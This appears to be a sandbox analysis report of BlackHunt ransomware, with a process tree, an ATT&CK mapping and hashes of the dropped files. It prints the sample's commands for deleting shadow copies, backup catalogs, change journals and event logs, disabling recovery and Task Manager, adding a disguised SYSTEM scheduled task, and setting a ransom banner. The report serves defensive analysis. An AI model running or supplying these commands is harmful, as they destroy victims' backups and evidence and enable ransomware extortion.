    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1332
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe" /F
  2⤵
  PID:2964
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1740
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1328
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1596
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2668
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:796
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:336
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:684
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2084
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2228
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2200
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2688
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3312
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:2192
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2628
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2840
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1720
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2468
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3232
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3160
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3512
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3468
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2320
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3596
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1504
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2228
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2760
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe"
  2⤵
  - Deletes itself
  PID:3432
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3688

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:3932

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:2756

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2624

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3752

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
b8deaad819d0d1fb6baa89bde14c4e60

SHA1
a931863d932deb3bde1060c28c51f9b2b931aca5

SHA256
04ac3a1e80602da98a70600fcb67736b471622b5280d536d51d59d8288e6c8fb

SHA512
501ef258f0783855d3e8aa654903dfdbd7d81184d2f59de05c1be7259efc896f02b65a15d977610e26f8eca2be27f2d7235f3ab59cd8beeb489b02de1b634094

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
a1ae8c269c145d88f603bcb678d512c8

SHA1
7370789d4a5519c5e99e6b8acc91c23273dfd1a1

SHA256
cd65ba72bce3a90ce13d55fe06a0a7fbb3b9d88cfae2aee22612c751c73c1b30

SHA512
f2a035d00fbd6c07c6eba99b8db84237b492cf2f02cf6f540df85dd0fa4cb739172a7c5604635e33e3dcf8f589e15467870e87dd9ffcfcba7658bb639e6aa258

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
857feb0f8b0ffb0cf79254a542389050

SHA1
04065c70201c84b68b49460d820512645d36a817

SHA256
a3714fbcb612e4cb9946f6c9dca2ee862cfc77aca299c42b2b12eb5069212d25

SHA512
9c16b604d929f73adcaf0ad9ecaf8c924c694eba0bfd2028c8acb416244c0f1128a8f12572ffb4e9fe3c92ce7463581b1f9b9b51b3b3e240e08508d3fa820656

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads